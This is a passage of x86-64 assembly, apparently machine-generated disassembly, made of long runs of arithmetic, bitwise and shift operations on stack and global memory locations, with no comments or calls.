movzx eax, byte [rax]
mov byte [rsp + 0x25c], al
movzx eax, byte [rsp + 0x127]
mov rcx, qword [0x1401e8848]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa6f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb048]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb300]
mov qword [rsp + 0xcc90], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcc90]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xb6d8]
mov qword [rcx], rax
lea rax, [rsp + 0x54c0]
mov qword [rsp + 0xcc98], rax
mov rax, qword [rsp + 0xb2b0]
mov rcx, qword [rsp + 0xa9a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4f64], eax
mov rax, qword [rsp + 0x8fc0]
mov qword [rsp + 0xcca0], rax
lea rax, [rsp + 0x16fc]
mov qword [0x1401e8f98], rax
mov rax, qword [rsp + 0xad20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xad78]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x200], al
lea rax, [rsp + 0x162c]
mov qword [rsp + 0xcca8], rax
mov rax, qword [rsp + 0x9cf8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc8c0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9cf8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1b9]
mov rcx, qword [0x1401e8e08]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xacc0]
mov byte [rcx], al
lea rax, [rsp + 0xc708]
mov qword [rsp + 0xccb0], rax
mov rax, qword [rsp + 0xa558]
mov rcx, qword [rsp + 0xc638]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9c98], rax
lea rax, [rsp + 0x5174]
mov qword [rsp + 0xccb8], rax
mov eax, dword [rsp + 0x4f48]
mov ecx, dword [rsp + 0x542c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x54ac], eax
mov rax, qword [rsp + 0x9278]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10e4]
add eax, ecx
mov word [0x1401e8e80], ax
movsx eax, byte [rsp + 0x1a3]
movsx ecx, byte [0x1401e707b]
and eax, ecx
mov byte [rsp + 0x148], al
lea rax, [rsp + 0x1414]
mov qword [rsp + 0xccc0], rax
movzx eax, byte [rsp + 0xc1]
mov rcx, qword [rsp + 0x9780]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1c1], al
mov rax, qword [rsp + 0xc9c8]
movzx eax, word [rax]
mov word [rsp + 0x1728], ax
mov rax, qword [rsp + 0xc4c0]
mov rcx, qword [rsp + 0xb608]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xc288]
mov dword [rcx], eax
mov rax, qword [rsp + 0x90b8]
mov rcx, qword [rsp + 0xadc8]
mov qword [rsp + 0xccc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xccc8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xbca0]
mov qword [rcx], rax
lea rax, [rsp + 0xb540]
mov qword [rsp + 0xccd0], rax
mov rax, qword [rsp + 0x9af8]
mov ecx, dword [rsp + 0x52b8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5058], eax
lea rax, [rsp + 0x15f0]
mov qword [rsp + 0xccd8], rax
movsx eax, byte [rsp + 0x22a]
mov rcx, qword [rsp + 0x8f80]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401e70db], al
movzx eax, byte [rsp + 0xb4]
movzx ecx, byte [rsp + 0x18d]
add eax, ecx
mov rcx, qword [rsp + 0xca60]
mov byte [rcx], al
mov rax, qword [rsp + 0xb1f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1080]
and eax, ecx
mov word [rsp + 0x127c], ax
mov rax, qword [rsp + 0x9a48]
movzx eax, word [rax]
mov word [rsp + 0x172c], ax
mov rax, qword [rsp + 0xa980]
mov rcx, qword [rsp + 0xad80]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9400], rax
mov rax, qword [rsp + 0xc818]
mov eax, dword [rax]
mov dword [rsp + 0x5528], eax
mov rax, qword [rsp + 0xc310]
mov rcx, qword [rsp + 0xb170]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9b58], rax
mov eax, dword [rsp + 0x5094]
mov dword [rsp + 0x552c], eax
movsx eax, byte [rsp + 0xac]
mov rcx, qword [rsp + 0x9d28]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1c0], al
mov rax, qword [0x1401e8e20]
movzx eax, byte [rax]
mov byte [0x1401e88dd], al
mov rax, qword [rsp + 0xbac8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb828]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8eb0]
mov word [rcx], ax
lea rax, [rsp + 0x1c9]
mov qword [rsp + 0xcce0], rax
movsx eax, byte [rsp + 0xc7]
movsx ecx, byte [rsp + 0x1a3]
sub eax, ecx
mov rcx, qword [rsp + 0x9690]
mov byte [rcx], al
mov rax, qword [rsp + 0xa8b0]
mov qword [rsp + 0xcce8], rax
mov rax, qword [rsp + 0x9e70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8fd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb150], rax
mov rax, qword [rsp + 0xadd0]
mov ecx, dword [0x1401e7008]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc818]
mov dword [rcx], eax
lea rax, [rsp + 0x5500]
mov qword [rsp + 0xccf0], rax
mov rax, qword [rsp + 0x90e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11a8]
and eax, ecx
mov rcx, qword [rsp + 0xba88]
mov word [rcx], ax
mov rax, qword [rsp + 0x9f40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x116]
xor eax, ecx
mov rcx, qword [0x1401e8a78]
mov byte [rcx], al
lea rax, [rsp + 0x9b]
mov qword [rsp + 0xccf8], rax
mov rax, qword [rsp + 0xc7e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16b8]
shl eax, cl
mov word [rsp + 0x1418], ax
mov rax, qword [rsp + 0x8c60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbf58]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x96f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9810]
mov eax, dword [rax]
mov dword [rsp + 0x5530], eax
mov rax, qword [rsp + 0xc348]
mov rcx, qword [rsp + 0x9018]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9468], rax
lea rax, [0x1401e7008]
mov qword [rsp + 0xcd00], rax
mov rax, qword [rsp + 0x9ea0]
mov rcx, qword [rsp + 0xb8c0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa88], rax
movzx eax, byte [rsp + 0xbf]
movzx ecx, byte [rsp + 0x23c]
add eax, ecx
mov rcx, qword [rsp + 0xad20]
mov byte [rcx], al
movsx eax, word [0x1401e7068]
movsx ecx, word [rsp + 0x1124]
and eax, ecx
mov rcx, qword [0x1401e89e0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb528]
movzx eax, byte [rax]
mov byte [rsp + 0x25d], al
movzx eax, word [rsp + 0x15c0]
movzx ecx, word [rsp + 0x11d8]
sub eax, ecx
mov word [rsp + 0x1308], ax
lea rax, [rsp + 0x15d4]
mov qword [rsp + 0xcd08], rax
movzx eax, word [rsp + 0x1118]
mov rcx, qword [rsp + 0xcbe0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1694], ax
mov eax, dword [rsp + 0x53a4]
mov dword [rsp + 0x5534], eax
mov rax, qword [rsp + 0xbe00]
mov ecx, dword [rsp + 0x5160]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4f8c], eax
mov rax, qword [rsp + 0x9258]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8fc0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x98f8]
mov qword [rcx], rax
lea rax, [rsp + 0xabc8]
mov qword [rsp + 0xcd10], rax
lea rax, [0x1401e70b3]
mov qword [0x1401e8fa0], rax
movsx eax, byte [rsp + 0x216]
movsx ecx, byte [rsp + 0x16c]
add eax, ecx
mov byte [rsp + 0x16d], al
lea rax, [rsp + 0x1640]
mov qword [rsp + 0xcd18], rax
mov rax, qword [rsp + 0x9070]
movzx eax, byte [rax]
mov rcx, qword [0x1401e8c80]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc688]
mov byte [rcx], al
mov rax, qword [rsp + 0x8fa8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc328]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10a8], ax
lea rax, [rsp + 0xb3f8]
mov qword [rsp + 0xcd20], rax
mov rax, qword [rsp + 0xbfc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5270], eax
lea rax, [rsp + 0x5474]
mov qword [rsp + 0xcd28], rax
mov rax, qword [rsp + 0xbd18]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcba0]
shl rax, cl
mov rcx, qword [rsp + 0xb048]
mov qword [rcx], rax
lea rax, [rsp + 0x120c]
mov qword [0x1401e8fa8], rax
mov rax, qword [rsp + 0xc5b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa220]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9b60]
mov word [rcx], ax
lea rax, [rsp + 0x140]
mov qword [rsp + 0xcd30], rax
mov rax, qword [rsp + 0xaec8]
movzx eax, word [rax]
mov rcx, qword [0x1401e88a0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x10c8], ax
movzx eax, byte [rsp + 0xec]
mov byte [rsp + 0x25e], al
mov rax, qword [rsp + 0xb628]
mov rcx, qword [rsp + 0xa6b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x99c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa728]
mov eax, dword [rax]
mov dword [rsp + 0x5538], eax
mov rax, qword [rsp + 0xc2b8]
mov rcx, qword [rsp + 0x9d10]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9658]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa4e0]
mov rcx, qword [rsp + 0xc420]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa448]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbf90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xba60]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e70ba], al
mov rax, qword [rsp + 0xabb8]
movzx eax, word [rax]
mov word [rsp + 0x1730], ax
movzx eax, word [rsp + 0x1188]
movzx ecx, word [rsp + 0x13cc]
and eax, ecx
mov rcx, qword [rsp + 0xb440]
mov word [rcx], ax
lea rax, [0x1401e7093]
mov qword [rsp + 0xcd38], rax
movzx eax, byte [rsp + 0x77]
movzx ecx, byte [rsp + 0xc9]
add eax, ecx
mov byte [rsp + 0x200], al
mov rax, qword [rsp + 0x99a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5384]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5428], eax
lea rax, [rsp + 0x8f90]
mov qword [rsp + 0xcd40], rax
mov rax, qword [rsp + 0x9c08]
mov rcx, qword [rsp + 0xc928]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5030], eax
mov rax, qword [rsp + 0x90d8]
mov qword [rsp + 0xcd48], rax
mov rax, qword [rsp + 0x8ff8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x19b]
add eax, ecx
mov byte [0x1401e70de], al
movsx eax, word [rsp + 0x169c]
mov rcx, qword [rsp + 0x9cf8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc5a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8e48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbf80]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1198], ax
movzx eax, byte [0x1401e703a]
mov byte [rsp + 0x25f], al
mov rax, qword [rsp + 0xb6f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x135]
sar eax, cl
mov byte [rsp + 0x164], al
lea rax, [rsp + 0x542c]
mov qword [rsp + 0xcd50], rax
mov rax, qword [rsp + 0xcc68]
mov ecx, dword [0x1401e7008]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xb318]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbe60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9078]
mov qword [rsp + 0xcd58], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcd58]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa3f0], rax
mov rax, qword [rsp + 0x9088]
mov rax, qword [rax]
mov qword [rsp + 0xcd60], rax
mov rax, qword [0x1401e87d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1020]
and eax, ecx
mov rcx, qword [0x1401e8c60]
mov word [rcx], ax
mov rax, qword [rsp + 0xbad0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xac40]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8bf8]
mov byte [rcx], al
lea rax, [rsp + 0x113c]
mov qword [rsp + 0xcd68], rax
mov rax, qword [0x1401e88a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa608]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x25a], al
lea rax, [rsp + 0x13d]
mov qword [rsp + 0xcd70], rax
mov rax, qword [rsp + 0xa2a0]
mov rcx, qword [rsp + 0xa4f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa6f0], rax
mov rax, qword [rsp + 0xb088]
mov rcx, qword [rsp + 0xb768]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc320]
mov dword [rcx], eax
mov eax, dword [rsp + 0x5110]
mov dword [rsp + 0x553c], eax
mov rax, qword [rsp + 0xa030]
mov rcx, qword [rsp + 0xa9b8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc118], rax
mov rax, qword [rsp + 0xa640]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcc48]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e8a18], ax
movzx eax, byte [rsp + 0x22a]
mov byte [rsp + 0x260], al
movzx eax, word [rsp + 0x164c]
movzx ecx, word [rsp + 0x1428]
sub eax, ecx
mov word [rsp + 0x140c], ax
mov rax, qword [rsp + 0xb468]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb6f0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x99d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x91b0]
movzx eax, word [rax]
mov word [rsp + 0x1734], ax
mov rax, qword [rsp + 0x96b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa240]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa028], rax
mov rax, qword [rsp + 0xbb78]
mov eax, dword [rax]
mov dword [rsp + 0x5540], eax
mov rax, qword [rsp + 0x9db0]
mov rcx, qword [rsp + 0xad60]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa560], rax
mov eax, dword [0x1401e7004]
mov rcx, qword [rsp + 0xc280]
mov qword [rsp + 0xcd78], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcd78]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xaf00]
mov dword [rcx], eax
lea rax, [rsp + 0x158c]
mov qword [0x1401e8fb0], rax
lea rax, [rsp + 0x14f0]
mov qword [rsp + 0xcd80], rax
movsx eax, byte [rsp + 0x13c]
mov rcx, qword [rsp + 0x9aa8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x140], al
lea rax, [rsp + 0xbf]
mov qword [rsp + 0xcd88], rax
mov rax, qword [rsp + 0xca28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa000]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xea], al
lea rax, [rsp + 0xcab0]
mov qword [rsp + 0xcd90], rax
mov eax, dword [0x1401e7008]
cdq
idiv dword [rsp + 0x5040]
mov dword [rsp + 0x5420], eax
mov eax, dword [rsp + 0x521c]
mov ecx, dword [rsp + 0x5394]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x500c], eax
mov rax, qword [rsp + 0xa600]
mov rax, qword [rax]
mov qword [rsp + 0xcd98], rax
movzx eax, byte [0x1401e87e3]
mov rcx, qword [rsp + 0xc7d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x258], al
lea rax, [rsp + 0x8c]
mov qword [0x1401e8fb8], rax
mov rax, qword [rsp + 0xbe10]
movzx eax, word [rax]
mov word [rsp + 0x1738], ax
movsx eax, word [rsp + 0x16cc]
movsx ecx, word [rsp + 0x1200]
sub eax, ecx
mov word [rsp + 0x1304], ax
movzx eax, byte [rsp + 0x206]
mov rcx, qword [rsp + 0x98d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa698]
mov byte [rcx], al
mov rax, qword [rsp + 0xb928]
mov rax, qword [rax]
mov qword [rsp + 0xcda0], rax
mov rax, qword [rsp + 0x9378]
mov rcx, qword [rsp + 0xcc68]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8f08]
mov dword [rcx], eax
lea rax, [rsp + 0x5360]
mov qword [rsp + 0xcda8], rax
mov rax, qword [rsp + 0xa400]
mov rcx, qword [rsp + 0xb0c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa6a0], rax
mov rax, qword [0x1401e8d80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x94e0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xcae0]
mov word [rcx], ax
movsx eax, word [rsp + 0x1264]
movsx ecx, word [rsp + 0x11f4]
add eax, ecx
mov word [0x1401e70b0], ax
lea rax, [rsp + 0x79]
mov qword [rsp + 0xcdb0], rax
mov rax, qword [0x1401e8fa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb250]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14b4], ax
mov rax, qword [rsp + 0xc778]
movzx eax, byte [rax]
mov byte [rsp + 0x261], al
mov rax, qword [rsp + 0xa300]
mov ecx, dword [rsp + 0x51ec]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xab88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9bf0]
movzx ecx, al
mov rax, qword [rsp + 0xb988]
shr rax, cl
mov qword [rsp + 0x8e98], rax
lea rax, [rsp + 0x4e60]
mov qword [rsp + 0xcdb8], rax
mov rax, qword [rsp + 0xc430]
mov rcx, qword [rsp + 0xb090]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa748], rax
movzx eax, word [rsp + 0x131c]
mov word [rsp + 0x173c], ax
movsx eax, word [rsp + 0x1350]
movsx ecx, word [rsp + 0x15b4]
xor eax, ecx
mov word [0x1401e71c8], ax
movzx eax, byte [rsp + 0xc9]
mov rcx, qword [0x1401e8838]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x8a], al
lea rax, [rsp + 0x24a]
mov qword [rsp + 0xcdc0], rax
movsx eax, word [rsp + 0x16d4]
movsx ecx, word [rsp + 0x1130]
and eax, ecx
mov rcx, qword [rsp + 0xa230]
mov word [rcx], ax
mov rax, qword [rsp + 0xbcc8]
mov ecx, dword [rsp + 0x5000]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9598]
mov dword [rcx], eax
lea rax, [rsp + 0x52e8]
mov qword [rsp + 0xcdc8], rax
mov rax, qword [rsp + 0xbae8]
mov rcx, qword [rsp + 0xbe40]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb298], rax
lea rax, [rsp + 0xa808]
mov qword [rsp + 0xcdd0], rax
movsx eax, byte [0x1401e704e]
movsx ecx, byte [rsp + 0x1d9]
add eax, ecx
mov rcx, qword [rsp + 0x8b68]
mov byte [rcx], al
movsx eax, word [rsp + 0x14c8]
mov rcx, qword [rsp + 0x9d48]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e7104], ax
mov rax, qword [rsp + 0x9bf8]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e7025]
sub eax, ecx
mov byte [rsp + 0x238], al
lea rax, [rsp + 0x136]
mov qword [rsp + 0xcdd8], rax
mov rax, qword [rsp + 0xb1a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb250]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc258]
mov word [rcx], ax
lea rax, [rsp + 0x1d5]
mov qword [rsp + 0xcde0], rax
mov rax, qword [rsp + 0xc178]
mov ecx, dword [0x1401e7008]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x4cc4], eax
mov rax, qword [rsp + 0xcdd0]
mov rcx, qword [rsp + 0x99c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb838], rax
lea rax, [rsp + 0xc118]
mov qword [rsp + 0xcde8], rax
mov rax, qword [rsp + 0x93c0]
mov ecx, dword [rsp + 0x4e74]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4ccc], eax
movsx eax, byte [rsp + 0xb9]
movsx ecx, byte [rsp + 0x259]
or eax, ecx
mov byte [0x1401e7036], al
movzx eax, word [rsp + 0x1054]
mov word [rsp + 0x1740], ax
movsx eax, word [rsp + 0x14d0]
movsx ecx, word [rsp + 0x1648]
sar eax, cl
mov word [rsp + 0x1668], ax
mov rax, qword [rsp + 0xb9e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa958]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x134c], ax
mov rax, qword [0x1401e8f80]
movzx eax, word [rax]
mov word [rsp + 0x1744], ax
mov rax, qword [rsp + 0x8ad0]
mov rcx, qword [rsp + 0x90b0]
mov qword [rsp + 0xcdf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcdf0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xbed8], rax
mov rax, qword [rsp + 0xcc28]
mov rax, qword [rax]
mov qword [rsp + 0xcdf8], rax
mov rax, qword [rsp + 0x9d18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5210]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc330]
mov dword [rcx], eax
mov eax, dword [rsp + 0x50f8]
mov dword [rsp + 0x5544], eax
movzx eax, byte [rsp + 0x192]
movzx ecx, byte [rsp + 0x164]
and eax, ecx
mov byte [0x1401e70df], al
movsx eax, byte [rsp + 0x257]
mov rcx, qword [rsp + 0xa078]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9568]
mov byte [rcx], al
mov rax, qword [rsp + 0xbe78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbd80]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc3e0]
mov word [rcx], ax
lea rax, [rsp + 0x1b2]
mov qword [rsp + 0xce00], rax
movsx eax, byte [0x1401e70da]
mov rcx, qword [rsp + 0xab30]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe5], al
mov rax, qword [rsp + 0xa448]
mov eax, dword [rax]
mov dword [rsp + 0x5548], eax
mov eax, dword [rsp + 0x5068]
mov ecx, dword [rsp + 0x5114]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x516c], eax
mov rax, qword [rsp + 0x9a00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xae20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb150], rax
lea rax, [rsp + 0xc458]
mov qword [rsp + 0xce08], rax
lea rax, [rsp + 0x1718]
mov qword [0x1401e8fc0], rax
movsx eax, word [rsp + 0x12e8]
movsx ecx, word [rsp + 0x16e0]
sub eax, ecx
mov rcx, qword [rsp + 0xabe8]
mov word [rcx], ax
mov rax, qword [rsp + 0xbc50]
movzx eax, byte [rax]
mov byte [rsp + 0x262], al
mov rax, qword [rsp + 0x9a58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1480]
sub eax, ecx
mov word [rsp + 0x1038], ax
movzx eax, byte [0x1401e8793]
mov rcx, qword [rsp + 0xa988]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa2b8]
mov byte [rcx], al
mov eax, dword [rsp + 0x52f8]
mov dword [rsp + 0x554c], eax
mov eax, dword [rsp + 0x4ea0]
mov ecx, dword [rsp + 0x5164]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbba0]
mov dword [rcx], eax
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov qword [rsp + 0xce10], rax
mov rax, qword [rsp + 0xa770]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb6e8]
mov qword [rsp + 0xce18], rcx
movzx ecx, al
mov rax, qword [rsp + 0xce18]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xa9f8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x142c]
mov rcx, qword [rsp + 0xc3f8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x1401e8a10]
mov word [rcx], ax
mov rax, qword [0x1401e8ed8]
movzx eax, word [rax]
mov word [rsp + 0x1748], ax
mov rax, qword [rsp + 0xca60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcd70]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xbeb8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x1bb]
mov rcx, qword [rsp + 0xc4f8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa7], al
mov rax, qword [rsp + 0x9388]
movzx eax, word [rax]
mov word [rsp + 0x174c], ax
mov rax, qword [rsp + 0xb748]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4efc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5478], eax
mov rax, qword [rsp + 0x9a70]
mov qword [rsp + 0xce20], rax
mov rax, qword [rsp + 0xccf0]
mov ecx, dword [rsp + 0x4f98]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5400], eax
mov rax, qword [rsp + 0xb908]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x90b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xae00]
mov qword [rcx], rax
movsx eax, word [rsp + 0x12c0]
movsx ecx, word [rsp + 0x1510]
add eax, ecx
mov rcx, qword [0x1401e8c70]
mov word [rcx], ax
lea rax, [rsp + 0xa7]
mov qword [rsp + 0xce28], rax
mov rax, qword [rsp + 0x9ec0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbd]
sub eax, ecx
mov rcx, qword [rsp + 0x8f68]
mov byte [rcx], al
mov rax, qword [rsp + 0x9e08]
movzx eax, word [rax]
mov word [rsp + 0x1750], ax
mov rax, qword [0x1401e8f20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc830]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9bf8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa248]
mov rcx, qword [rsp + 0xc520]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb630], rax
mov rax, qword [rsp + 0xac20]
mov qword [rsp + 0xce30], rax
mov rax, qword [rsp + 0xc350]
mov eax, dword [rax]
mov ecx, dword [0x1401e7004]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc6c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9378]
mov eax, dword [rax]
mov dword [rsp + 0x5550], eax
lea rax, [rsp + 0x171c]
mov qword [0x1401e8fc8], rax
mov rax, qword [rsp + 0x97f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14ac]
add eax, ecx
mov rcx, qword [rsp + 0xa6a8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x23c]
mov rcx, qword [rsp + 0xa1b0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x233], al
lea rax, [rsp + 0x1de]
mov qword [rsp + 0xce38], rax
movsx eax, word [0x1401e8c34]
movsx ecx, word [rsp + 0x11a4]
sar eax, cl
mov rcx, qword [rsp + 0xa7a0]
mov word [rcx], ax
lea rax, [rsp + 0xa768]
mov qword [rsp + 0xce40], rax
mov eax, dword [rsp + 0x5354]
cdq
idiv dword [rsp + 0x5280]
mov rcx, qword [rsp + 0xbb78]
mov dword [rcx], eax
mov eax, dword [rsp + 0x52b4]
mov dword [rsp + 0x5554], eax
mov rax, qword [rsp + 0xa030]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaf08]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9e60], rax
mov rax, qword [rsp + 0xccd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9050]
movzx ecx, word [rcx]
shl eax, cl
